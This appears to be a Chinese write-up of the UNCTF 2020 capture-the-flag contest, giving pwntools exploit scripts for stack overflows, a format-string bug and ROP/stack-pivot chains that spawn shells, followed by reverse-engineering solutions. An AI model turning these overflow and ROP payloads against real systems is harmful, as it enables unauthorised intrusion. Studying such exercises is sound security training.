2020 UNCTF WP

PWN:

YLBNB:

先nc,提示用pwntool,写个脚本

from pwn import *
io = remote('45.158.33.12', 8000)
io.interactive()

运行返回flag:UNCTF{Gu@rd_Th3_Bes7_YLB}

fan:

分析附件,就是个简单的栈溢出,有个fantasy函数可以拿到shell

那么在read函数接收输入的时候直接覆盖返回地址为system函数即可。

在IDA中可以看到,buf距离EBP为0x30,但是这个是64位的程序,一个EBP占8bytes。

且fantasy函数地址为0x00400735,那么payload:

payload = 'a'(buf距离EBP) + 'a'*(EBP占占的字节) + p64(fantasy函数地址)

脚本如下:

from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x00400735
payload = 'a'*0x30 + 'a'*8 + p64(system_addr)
r.recvuntil('input your message
')
r.sendline(payload)
r.interactive()

运行拿到shell,cat flag:UNCTF{6506126d-05e5-4e74-a84f-89dc109dc627}

do_you_like_me?:

和fan一样是栈溢出

from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x004006CD
payload = 'a'*0x10 + 'a'*8 + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()

运行拿到shell,cat flag:UNCTF{e668c0b1-6cb6-4bcd-b0b2-ebd96e5818c0}

你真的会pwn嘛?:

一个简单的格式化字符串溢出漏洞

DP8Qud.png

DP8uge.png

但是我在用fmtstr_payload时,输出会被地址高位"x00"字节截断,可能是我太菜了。

DP8Rv4.png

改了一下脚本

from pwn import *
r = remote('node2.hackingfor.fun',40962)
r.recvuntil('Give me your input : ')
target_addr=0x0060107C
payload= 'AAAAA' + '%10c%12$hhn' + p64(target_addr)
#print payload
r.sendline(payload)
r.interactive()

运行运行拿到shell,cat flag:UNCTF{f19e34ea-c353-403e-9b47-7340960946b7}

原神

有两种方法,第一种是ret2text,第二种是栈迁移。

ret2text

IDA反编译后有很明显的栈溢出漏洞。

程序中没有“sh”,可以考虑构造bss段中3星的武器数量为26739,即“sh”的int值。只要抽到了这么多的3星武器,就能构造ROP,将该bss值当作参数传入rdi中拿到shell。

虽然程序关闭了标准输出流stdout,但是可以将标准输出流重定向到 其它流上面,即cat flag > &2

from pwn import *

x64 = True
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

io=process(fp)
elf=ELF(fp)

context.os = 'linux'
context.arch = 'amd64'

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

num = 0
ret = 0x400d14
rdi_ret = 0x400d13
bss_sh = 0x602314

def bulidsh():
	global num
	while num<26729:
		ra()
		sl("2")
		ru('抽卡结果如下:
')
    		data = ru('请选择').split('
')
		for i in data:
			if i[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ':	#a = "★★★ " print(a.encode()) 
				num+=1
	while num!=26739:
		ra()
		sl("1")
		ru('抽卡结果如下:
')
    		data = ru('请选择')
		if data[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ':	
				num+=1
	main()

def main():	
	ra()
	sl('3')
	ra()
	sl('1')
	ra()
	offset = 0x38
	payload = "a"*offset
	payload+=p64(ret)
	payload+=p64(rdi_ret)
	payload+=p64(bss_sh)
	payload+=p64(elf.plt['system'])
	sl(payload)

bulidsh()
iat()

栈迁移

虽然关闭了标准输出流无法泄漏libc,但是程序中有read函数和system函数的地址,不用libc一样可以栈迁移。

首先劫持控制流并迁移栈到bss段,这段没有什么好说的,标准代码操作。

#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *

fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

io=process(fp)
elf=ELF(fp)
system=elf.plt['system']

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

ra()
sl('3')
ra()
sl('1')
rl()

bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)

到第二步,布置新的栈中参数。目前有两个问题,一是不知道栈大小,二是不知道pop_rdi的目标地址偏移offset是多少。

栈大小可以用cyclic和gdb一起测出来。先用cyclic生成长度为100的字符串,再gdb调试看报错字符。(注意要设置调试程序为父进程)

if args.G:
	gdb.attach(io)
payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
sd(payload)
iat()

再用cyclic -l 0x6161616f 计算出栈长度为56。那么

payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+offset) + p64(system) + b'/bin/shx00'

随便填一个offset,gdb调试。发现'/bin/sh'字段在0x602b00处。那么offset就是0x602b00-base_stage(0x602ae0) = 0x20。

那么payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'

当然如果你顶级理解的话实际上写成这种payload = 'a'*(56-8*i) + b'/bin/shx00' + 'a'*(8*(i-1))+ p64(pop_rdi) + p64(base_stage- 8*(i-1)) + p64(system)(i=1,2),也是可以的。

最终的exp如下

#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *

fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

io=process(fp)
elf=ELF(fp)
system=elf.plt['system']

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

ra()
sl('3')
ra()
sl('1')
rl()

bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
if args.G:
	gdb.attach(io)
#payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
#print(hex(base_stage+0x20))
payload='a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'
sd(payload)
iat()

RE

反编译:

用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码,直接运行得flag

str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
    flag += chr(ord(str2[i]) + i)
print(flag)
#UNCTF{un_UN_ctf123}

re_checkin:

拖入DIE,为64。拖入ida64中定位到start函数,跟进到sub_401550,发现是一个简单的对比。

跟进Str2,发现无数据,怀疑动态写入。

转到汇编发现sub_4015DC函数正是向Str2写入数据的函数,处理一下即可得到flag

.text:00000000004015DC sub_4015DC      proc near               
.text:00000000004015DC arg_0           = qword ptr  10h
.text:00000000004015DC
.text:00000000004015DC                 push    rbp
.text:00000000004015DD                 mov     rbp, rsp
.text:00000000004015E0                 mov     [rbp+arg_0], rcx
.text:00000000004015E4                 mov     cs:Str2, 'u'
.text:00000000004015EB                 mov     cs:byte_42F041, 'n'
.text:00000000004015F2                 mov     cs:byte_42F042, 'c'
.text:00000000004015F9                 mov     cs:byte_42F043, 't'
.text:0000000000401600                 mov     cs:byte_42F044, 'f'
.text:0000000000401607                 mov     cs:byte_42F045, '{'
.text:000000000040160E                 mov     cs:byte_42F046, 'W'
.text:0000000000401615                 mov     cs:byte_42F047, 'e'
.text:000000000040161C                 mov     cs:byte_42F048, 'l'
.text:0000000000401623                 mov     cs:byte_42F049, 'c'
.text:000000000040162A                 mov     cs:byte_42F04A, 'o'
.text:0000000000401631                 mov     cs:byte_42F04B, 'm'
.text:0000000000401638                 mov     cs:byte_42F04C, 'e'
.text:000000000040163F                 mov     cs:byte_42F04D, 'T'
.text:0000000000401646                 mov     cs:byte_42F04E, 'o'
.text:000000000040164D                 mov     cs:byte_42F04F, 'U'
.text:0000000000401654                 mov     cs:byte_42F050, 'N'
.text:000000000040165B                 mov     cs:byte_42F051, 'C'
.text:0000000000401662                 mov     cs:byte_42F052, 'T'
.text:0000000000401669                 mov     cs:byte_42F053, 'F'
.text:0000000000401670                 mov     cs:byte_42F054, '}'
.text:0000000000401677                 mov     cs:byte_42F055, 0
.text:000000000040167E                 nop
.text:000000000040167F                 pop     rbp
.text:0000000000401680                 retn
.text:0000000000401680 sub_4015DC      endp

babypy:

用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码

import  libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)

def gen(x):
    y = abs(x)
    while 1:
        if y > 0:
            yield y % 2
            y = y >> 1
    else:
        if x == 0:
            yield 0


l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

感觉少了点东西,没有next()函数,直接运行死循环。

分析过后可知是对flag先转16进制,然后取余,移位。接着列表倒序,列表转字符串,字符串转hex,去0x得到tip.txt。

写脚本爆破,即可得到flag

import libnum
a = '111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
b = 0
for i in a:
    if i == '1':
        b = b*2 +1
    else:
        b =b*2
f = libnum.n2s(b)
print(f)
#b'unctf{Th@t_is_rea11y_c001}'

easyMaze:

拖进ida64,定位到迷宫函数

while ( 1 )
  {
    v1 = *(char *)(v6 + v5);
    if ( v1 == 'd' )                            // 左
    {
      ++v4;
    }
    else if ( v1 > 'd' )
    {
      if ( v1 == 's' )                          // 下
      {
        ++v3;
      }
      else
      {
        if ( v1 != 'w' )                        // 上
          return 0i64;
        --v3;
      }
    }
    else
    {                                           // 右
      if ( v1 != 'a' )
        return 0i64;
      --v4;
    }
    if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
      return 0i64;
    if ( v4 > 9 || v3 > 9 )
      return 0i64;
    if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
      break;
    if ( sub_4019F4() )
    {
      puts("I See YOU!");
      exit(2);
    }
    ++v5;
  }
  return 1i64;
}

但是搜字符串没有迷宫,且主函数在获取用户输入时,调用了个sub_401AC0()函数,怀疑程序是打开时初始化迷宫。

上x64dbg动调,断点设在lea rcx, Str,即打印"Help Me Out!!!!!!!!"的地址。

可以观察到有个地址写入了这一串字符

"Oo00oD00SD0oooo0Doooo0D0oD0o00ooooo00o00oD0D0oooooo00o0o0o0ooDoooooDDDo00o00oooooD0D0000oDoooooooooD"

处理一下

Oo00oD00SD
0oooo0Dooo
o0D0oD0o00
ooooo00o00
oD0D0ooooo
o00o0o0o0o
oDoooooDDD
o00o00oooo
oD0D0000oD
oooooooooD

很明显是从O开始,0为墙壁,o为路,S为中点。结合代码可得flag:unctf{dsdddssaaaassssssddddddddwwaawawwddwwwdw}

ICU:

拖进ida,搜索字符串,有一个很明显的base64变换表

DCUcYq.png

跟进引用函数

__int64 __fastcall sub_40180E(__int64 a1, int a2)
{
  int v3; // [rsp+24h] [rbp-1Ch]
  __int64 v4; // [rsp+28h] [rbp-18h]
  int v5; // [rsp+34h] [rbp-Ch]
  signed int j; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]
  __int64 v8; // [rsp+50h] [rbp+10h]
  int v9; // [rsp+58h] [rbp+18h]

  v8 = a1;
  v9 = a2;
  v4 = sub_4A2840(5 * (a2 / 3));
  for ( i = 0; i < v9; i += 3 )
  {
    v3 = (*(unsigned __int8 *)(i + 1i64 + v8) << 8) | (*(unsigned __int8 *)(v8 + i) << 16) | *(unsigned __int8 *)(i + 2i64 + v8);
    for ( j = 0; j <= 3; ++j )
      *(_BYTE *)(4 * (i / 3) + j + v4) = aUyopef2ghvwx3a[(v3 >> (-6 * j + 18)) & 0x3F];
  }
  v5 = v9 / 3;
  if ( v9 % 3 == 1 )
  {
    *(_BYTE *)(v4 + 4 * v5 + 2i64) = aUyopef2ghvwx3a[64];
  }
  else if ( v9 % 3 != 2 )
  {
    goto LABEL_12;
  }
  *(_BYTE *)(v4 + 4 * v5++ + 3i64) = aUyopef2ghvwx3a[64];
LABEL_12:
  *(_BYTE *)(v4 + 4 * v5) = 0;
  return v4;
}

很明显是base64的编码操作,把他重命名为base64_change

但是看解出人数有点不对劲,应该没有这么简单。继续跟进Please Input:,进入主函数,修改一下反编译代码

show(&unk_4A6920, "This file was complied by MingW
");
show(&unk_4A6920, "enjoy
");
show(&unk_4A6920, "Please Input:
");
v0 = (void *)sub_4A2860(16i64);
sub_41F030(v0);
Memory = v0;
v1 = (void *)sub_4A2860(32i64);
sub_4908B0(v1);
v10 = v1;
v7 = 0;
sub_4A0FA0(&unk_4A65C0, v1);
LODWORD(v1) = sub_42A820(v1);
v2 = sub_42A840(v10);
Str = (char *)base64_change(v2, (unsigned int)v1);
v12 = 0;
v8 = strlen(Str);
while ( v12 < v8 )
{
  sub_41EEC0(Memory,&v7);
  Str[v12++] += v7;
}
if ( !memcmp(Str, "HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9", 0x30ui64) )
  show(&unk_4A6920, "You Win,but you don't enjoy it,right?
");
else
  show(&unk_4A6920, "You lose,Try again
");

这大概意思就是,将用户输入进行一些操作然后,调用base64_change函数进行编码。之后循环和v7做加法。

最后和HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9比较。

这里处理v7的sub_41EEC0函数对于我这种re萌新是在是太过复杂,想了好久都还没有思路。

但是我偶然看到传入的v7是bool类型,想到可以爆破,上脚本。

import base64
a = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg'
i = 0
flag1 =''
for b in a:
    if i%2 == 0:
        flag1 = flag1 + chr(ord(b) - 1)
    else: flag1 += b
    i = i+1
flag1 = flag1 +'='    
change1 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
normal1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
ture_key1= flag1.translate(str.maketrans(change1, normal1))
try:
    print(base64.b64decode(ture_key1))
except:
    print('Error')
    
i = 0
flag2 =''
for b in a:
    if i%2 != 0:
        flag2 = flag2 + chr(ord(b) - 1)
    else: flag2 += b
    i = i+1
flag2 = flag2 +'='    
change2 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
normal2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
ture_key2= flag2.translate(str.maketrans(change2, normal2))
try:
    print(base64.b64decode(ture_key2))
except:
    print('Error')
#b'unctf{we_remember_everything_YLBNB!'
#Error

但是不知道为啥少了个}。补上后得flag:unctf{we_remember_everything_YLBNB!}

ezRust:

拖进ida,搜索字符串,有个YLBNB,跟进其引用函数,反编译有点问题

void sub_1400021E0()
{
  char *v0; // [rsp+A0h] [rbp+20h]
  char v1; // [rsp+A8h] [rbp+28h]
  __int64 v2; // [rsp+268h] [rbp+1E8h]

  v2 = -2i64;
  v0 = &v1;
  sub_14000B610(&v1);
  JUMPOUT(unk_14000220B);
}

结合程序运行结果,

Dp5Sud.png

手动修复一下,得到基本可以看的代码

v3 = scanf_from_argv((__int64)&v13);
  sub_140001A00();
  if ( v3 == 3 )
  {
    sub_14000B610(v16);
    sub_140001E70((__int64)&v15, (__int64 *)v16);
    sub_140007280(&v21);
    sub_140007280(&v23);
    v18 = v22;
    v17 = v21;
    v20 = v24;
    v19 = v23;
    v5 = sub_140006C50(&v15, 1i64, &off_1400243E8);
    v6 = sub_140007380(v5);
    sub_1400072D0((__int64)&v17, v6, v7);
    v8 = sub_140006C50(&v15, 2i64, &off_140024400);
    v9 = sub_140007380(v8);
    sub_1400072D0((__int64)&v19, v9, v10);
    v12 = strcmp(&v17, &off_140024420);
    if ( v12 & 1 )
      v25 = strcmp(&v19, &off_140024440) & 1;
    else
      v25 = 0;
    if ( v25 & 1 )
    {
      printf2argv(v26, (__int64)&off_140024470, 1i64, (__int64)"src\main.rs", 0i64); //off_140024470 = 'Success! Here is your flag:'
      sub_14000DB60(v26);
      sub_140001EF0(&v31);
      v30 = &v31;
      v33 = &v31;
      v28 = sub_140004A60(&v31, sub_140007330);
      v29 = v11;
      printf2argv(v27, (__int64)&off_140024488, 2i64, (__int64)&v28, 1i64);
      sub_14000DB60(v27);
      sub_140001A50(&v31);
    }
    else
    {
      printf2argv(v32, (__int64)&off_1400244B8, 1i64, (__int64)"src\main.rs", 0i64);
      sub_14000DB60(v32);
    }
    sub_140001740(&v17);
    JUMPOUT(unk_140002516);
  }
  printf2argv(v14, (__int64)&off_1400243C8, 1i64, (__int64)"src\main.rs", 0i64); //off_1400243C8 = 'ERROR Input!'
  sub_14000DB60(v14);
  return result;

大概意思就是输入三行数据,取后两行,和off_140024420中的数据以及off_140024440中的数据做对比,都相同就输出flag。

跟进off_140024420和off_140024440,发现就是YLBNB和RUSTPROGRAMING。

试着运行,成功得到flag:

Dp42NV.png

unctf{Rust_more_safety_than_YLB's_Platform}

base_on_rust

拖入IDA64,查看字符串,疑似base编码

D3aaW9.png

跟进引用函数

D3dU78.png

发现这里并没有进行编码,只是初始化了base64,base32和base16的表

跟进到输入处理函数,根据base编码特征修改反编译代码,可得

D30Pz9.png

提取出在off_140028AE8地址的字串RzQyVE1SSldHTTNUSU5SV0c1QkRNTVJXR0UzVEdOUlZHTTNER05CVklZM0RFTlJSRzRaVE1OSlRHTVpURU5LR0dZWkRNTUpYR00zREtNWlJHTTNES1JSV0dVM0VLTlJUR1pERE1OQldHVTJVTU5LR0dWRERPUkE9

解码可得:unctf{base64_base32_base16_encode___}

Trap

拖入IDA64,跟进main函数

puts("Welcome To UNCTF2020_RE_WORLD !!!");
printf("Plz Input Key: ", a2);
__isoc99_scanf("%s", s1);
strcpy(dest, s1);
sub_400CBE();
if ( !strcmp(s1, s2) )
{
  puts("Success.");
  for ( i = 0; i <= 8479; ++i ){
    v3 = byte_6020E0[i];
    byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
  }
  s = fopen("/tmp/libunctf.so", "wb");
  fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
  getchar();
  handle = dlopen("/tmp/libunctf.so", 1)
  if ( !handle ){
    v5 = stderr;
    v6 = dlerror();
    fputs(v6, v5);
    exit(1);
  }
  v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
  dlerror();
  v15 = 0;
  v16 = 0;
  v17 = 0;
  memset(&v18, 0, 0x28uLL);
  printf("plz Input Answer: ", "jo_enc", &v18);
  __isoc99_scanf("%s", &v15);
  v7(&v15, dest);
}
else{
  puts("Loser!!!");
}

大概意思是将处理后的输入和已有字串做对比,运行的时候输入正确的s1会异或解密整个动态链接库文件,然后写入文件并调用jo_enc函数对接下来的输入以v15(第二次输入的字串),dest(第一次输入的字串)的顺序进行调用检查

首先将输入与0x22异或, 然后创建了一个线程

v2 = strlen(s1);
for ( i = 0; i < v2; ++i )
  s1[i] ^= 0x22u;
pthread_create(&th, 0LL, (void *(*)(void *))start_routine, 0LL);
return pthread_join(th, 0LL);

接着调用sub_400BC0函数将s2与0x33异或并写入文件

v3 = strlen(s2);
sub_400B76(v0);//反调试
for ( i = 0; ; ++i )
{
  result = i;
  if ((signed int)i >= v3 )
    break;
  s2[i] ^= 0x33u;
}
return result;

和调用sub_400C13函数对s1和s1长度做运算

for ( i = 0; ; ++i ){
  result = (unsigned int)i;
  if ( i >= v3 )
    break;
  sub_400C13(&s1[i], v3);
}

这里的sub_400C13有简单的花指令,

DGQqAA.png

手动修复后其实就是个循环

__int64 __fastcall sub_400C13(_BYTE *a1, int a2)
{
  if ( !a2 )
    return 1LL;
  ++*a1;
  return sub_400C13(a1, (unsigned int)(a2 - 1));
}

那么脚本就很好写了

s2=[26,23,18,23,17,44,124,27,46,45,125,124,125,46]
for i in s2:
    print(chr(((i^0x33)-len(s2))^0x22),end='')
#941463c8-2bcb-

将生成的libunctf.so拖入ida64分析jo_enc函数

__int64 __fastcall jo_enc(char *a1, char *a2)
{
  char *v2; // ST20_8
  size_t v3; // ST10_8
  int n; // [rsp+60h] [rbp-500h]
  int m; // [rsp+64h] [rbp-4FCh]
  int l; // [rsp+68h] [rbp-4F8h]
  int k; // [rsp+6Ch] [rbp-4F4h]
  int v9; // [rsp+70h] [rbp-4F0h]
  int j; // [rsp+74h] [rbp-4ECh]
  int v11; // [rsp+78h] [rbp-4E8h]
  signed int i; // [rsp+7Ch] [rbp-4E4h]
  int v13[48]; // [rsp+80h] [rbp-4E0h]
  int odd_number[128]; // [rsp+140h] [rbp-420h]
  int even_number[129]; // [rsp+340h] [rbp-220h]
  int v16; // [rsp+544h] [rbp-1Ch]
  char *input1; // [rsp+548h] [rbp-18h]
  char *input2; // [rsp+550h] [rbp-10h]

  input2 = a1;
  input1 = a2;
  v16 = 0;
  memset(even_number, 0, 0x200uLL);
  memset(odd_number, 0, 0x200uLL);
  memset(v13, 0, 0xC0uLL);
  for ( i = 0; i < 128; ++i )
  {
    even_number[i] = 2 * i;
    odd_number[i] = 2 * i + 1;
  }
  v11 = strlen(input2);
  for ( j = 0; j < v11; ++j )
  {
    v9 = input2[j];
    if ( !(v9 % 2) )
    {
      for ( k = 0; k < v9; k += 2 )
        v13[j] += even_number[k];
    }
    if ( v9 % 2 )
    {
      for ( l = 0; l < v9; l += 2 )
        v13[j] += odd_number[l];
    }
  }
  for ( m = 0; m < v11; ++m )
  {
    v2 = input1;
    v3 = strlen(input1);
    v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
  }
  for ( n = 0; n < v11; ++n )
  {
    if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
    {
      v16 = 0;
      exit(1);
    }
    ++v16;
  }
  if ( v16 == 22 )
    puts("Win , Flag is unctf{input1+input2}");
  return 0LL;
}

根据第一个输入可得,v9(即第二个输入的ascii码)范围在45~127,可以写爆破脚本

cipher_lst = [1668, 1646, 1856, 4118, 1899, 1752, 640, 2000, 4412, 1835, 820, 984, 968, 1189, 4353, 1646, 4348, 4561, 1564,1566, 5596, 1525]
input1 = '941463c8-2bcb-'
input2 = ''
even_number = [i * 2 for i in range(128)]
odd_number = [i * 2 + 1 for i in range(128)]
cipher_ = [((16 * ord(input1[m % 14])) & 0xE827490C | (~(16 * ord(input1[m % 14])) & 0x17D8B6F3)) ^ (cipher_lst[m] & 0xE827490C | ~cipher_lst[m] & 0x17D8B6F3) for m in range(22)]
for a in cipher_:
    for n in range(45,127):
        j = 0
        if not n % 2:
            for i in range(0, n, 2):
                j += even_number[i]
        else:
            for i in range(0, n, 2):
                j += odd_number[i]
        if j == a:
            input2 += chr(n)
print('unctf{' + input1 + input2 + '}')

之后经过师傅的点拨,

原来 (str1 & random_hex1 | ~str1 & random_hex2) ^ (str2 & random_hex1 | ~str2 & random_hex2) 和 str1^str2是等价的

ezvm

根据初始信息修改主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
vm v5; // [rsp+20h] [rbp-28h] BYREF
sub_4025B0();
show();
init_stack(&v5);
branch(&v5);
v3 = 0i64;
while ( byte_404040[v3] == *(_BYTE *)(v5.input + v3) ){
  if ( ++v3 == 21 ){
    puts("wuhu flag is what you input");
    return 0;
  }
}
puts("wrong! maybe you are not a hacker !");
return 0;
}

init_stack中初始化三个寄存器,操作码和输入

*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_QWORD *)(a1 + 16) = &unk_404080;
v2 = malloc(0x512ui64);
*(_QWORD *)(a1 + 24) = v2;

那么建个结构体
DBM6wq.png

数据类型根据储存位置改变,首先满足结构体各变量位置距离与初始化中的地址偏移相同。

跟进branch,根据快指数算法的优化代码和加法逻辑代码可得

while ( 2 )
{
  result = *v2;
  if ( (_BYTE)result != 0xF9 )
  {
LABEL_3:
    switch ( (char)result )
    {
      case 0xF0:                            // 对比
        v14 = v2[1];
        if ( a1->r2 == v14 )
          a1->r0 = 0;
        else
          a1->r0 = (a1->r2 >= v14) + 1;
        goto LABEL_12;
      case 0xF1:
        sub_4015A0(a1);                        
                  /* 2: a1->opcode = a1->opcode + 3 
                        5: a1->opcode = a1->opcode + 3
                           a1->r0 = a1->input[a1->r2]
                        6: a1->opcode = a1->opcode + 3
                           a1->r1 = a1->opcode[2]
                        7: a1->opcode = a1->opcode + 3
                           a1->r2 = a1->opcode[2]     */
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
      case 0xF3:                              // add a1->r2 , v2[1]
        v8 = v2[1];
        v9 = a1->r2;
        if ( v2[1] )
        {
          do
          {
            v10 = v8;
            v11 = v9 & v8;
            v12 = v9 ^ v10;
            v13 = 2 * v11 == 0;
            v8 = 2 * v11;
            v9 = v12;
          }
          while ( !v13 );
          a1->r2 = v12;
        }
        else
        {
          a1->r2 = v9;
        }
        goto LABEL_12;
      case 0xF4:                             // 字符是否处理完成,是则调到F9结束循环,否则回到result = *v2继续循环
        if ( a1->r0 == 1 )
        {
          v2 -= v2[1];
          a1->opcode = (__int64)v2;
        }
        else
        {
LABEL_12:
          v2 += 2;
          a1->opcode = (__int64)v2;
        }
        continue;
      case 0xF7:                              // 读取21位字符存放在a1->input
        sub_401570(a1);
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
      case 0xF8:                              // 快指数算法: pow(v4,7) mod 187 
        v4 = a1->r0;
        v5 = 3;
        v6 = 1i64;
        v7 = 7i64;
        do
        {
          if ( (v7 & 1) != 0 )
            v6 = v4 * v6 % 187;
          v7 >>= 1;
          --v5;
          v4 = v4 * v4 % 187;
        }
        while ( v5 );
        ++v2;
        a1->r0 = v6;
        a1->opcode = (__int64)v2;
        result = *v2;
        if ( (_BYTE)result != 0xF9 )          // 结束
          goto LABEL_3;
        return result;
      default:
        puts("fxxx me ?");
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
    }
  }
  return result;
  }

若是做过密码学的一眼就可以看出0xF8是个给定 c ,e,N的rsa加密。

为了方便理解,对rsa做个简略的介绍。

  1. p 和 q:两个大的质数,是另一个参数N的的两个因子
  2. N:大整数,可以称之为模数
  3. c 和 m:密文和明文
  4. e 和 d:互反数满足 e*d mod 160 = 1
  5. pow(x, y, z):效果等效 pow(x, y) % z。
  6. 对明文m进行加密:c = pow(m, e, N),可以得到密文c
    对密文c进行解密:m = pow(c, d, N),可以得到明文m

百度一下就可知7的互反数为23,即7*23 mod 160 = 161 mod 160 = 1

纯动态:

动调一下看加密情况

输入21个字符1

加密完成后发现是每隔两位加密

debug024:00000000001E1550 db  19h
debug024:00000000001E1551 db  31h ; 1
debug024:00000000001E1552 db  19h
debug024:00000000001E1553 db  31h ; 1
debug024:00000000001E1554 db  19h
debug024:00000000001E1555 db  31h ; 1
debug024:00000000001E1556 db  19h
debug024:00000000001E1557 db  31h ; 1
debug024:00000000001E1558 db  19h
debug024:00000000001E1559 db  31h ; 1
debug024:00000000001E155A db  19h
debug024:00000000001E155B db  31h ; 1
debug024:00000000001E155C db  19h
debug024:00000000001E155D db  31h ; 1
debug024:00000000001E155E db  19h
debug024:00000000001E155F db  31h ; 1
debug024:00000000001E1560 db  19h
debug024:00000000001E1561 db  31h ; 1
debug024:00000000001E1562 db  19h
debug024:00000000001E1563 db  31h ; 1

猜一下只进行了rsa,写个脚本

a=[150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131]
b=''
for i in range(21):
    if i%2 == 0:
        b += chr(pow(a[i],23,187))
    else:
        b += chr(a[i])
print(b)
#90dj06_th1s_A_3asy_vm

成功得到flag

动态加静态:

动调得到指令调用顺序:

0xF7->0xF1(6,3)->0xF1(7,0)->0xF1(5,0)->0xF8->0xF1(2,0)->0xF0(0x14)->0xF3(2)->0xF4(0xB)循环到字符读取完成->0xF9

根据上面的分析可得汇编伪代码

read a1->input
mov a1->r1 , 3
mov a1->r2 , 0   // input索引
loop:
mov a1->r0 , a1->input[a1->r2]
mov a1->r0 , pow(a1->r0,7) mod 187
mov a1->input[r2] , a1->r0
if a1->r2 = 0x14 (20)
   mov a1->r0 , 0
else:
   mov a1->r0 , bool(a1->r2 > v14) + 1  ;if a1->r2 > 0x14 mov a1->r0 , 1    else: mov a1->r0 , 2
add a1->r2 , 2   //隔两位加密
if  a1->r0 == 1 
	mov a1->opcode , *(&a1->opcode - 0xB) ;指向0xF1(5,0),等价goto loop
else:
	mov a1->opcode , 2 //指向0xF9
cmp  encrypt , input

还看不懂的可以看伪c

char input;
scanf(&input,21);
int r1 = 3, r2 = 0, r0 = 0, flag = 1, v1;
int encrypt[21] = [150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131];
do{
    r0 = pow(input[r2],7) mod 187;
    input[r2] = r0;
    if (r2 > 20) 
        r0 = 0;
    else{
